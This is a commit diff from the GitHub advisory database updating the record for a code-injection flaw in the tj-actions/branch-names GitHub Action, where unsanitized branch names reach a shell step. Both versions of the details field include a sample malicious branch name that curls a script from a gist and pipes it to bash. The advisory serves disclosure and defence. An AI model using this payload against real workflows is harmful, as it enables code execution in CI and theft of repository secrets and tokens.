Publish GHSA-8v8w-v8xg-79rf

This commit is contained in:
advisory-database[bot]
2023-12-06 20:49:55 +00:00
parent 0a0003d365
commit 75adb2301b
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-8v8w-v8xg-79rf",
"modified": "2023-12-05T23:30:10Z",
"modified": "2023-12-06T20:48:41Z",
"published": "2023-12-05T23:30:10Z",
"aliases": [
"CVE-2023-49291"
],
"summary": "tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection",
"details": "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details\n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n using: \"composite\"\n steps:\n - id: branch\n run: |\n # \"Set branch names...\"\n if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input\n",
"details": "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n using: \"composite\"\n steps:\n - id: branch\n run: |\n # \"Set branch names...\"\n if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input",
"severity": [
{
"type": "CVSS_V3",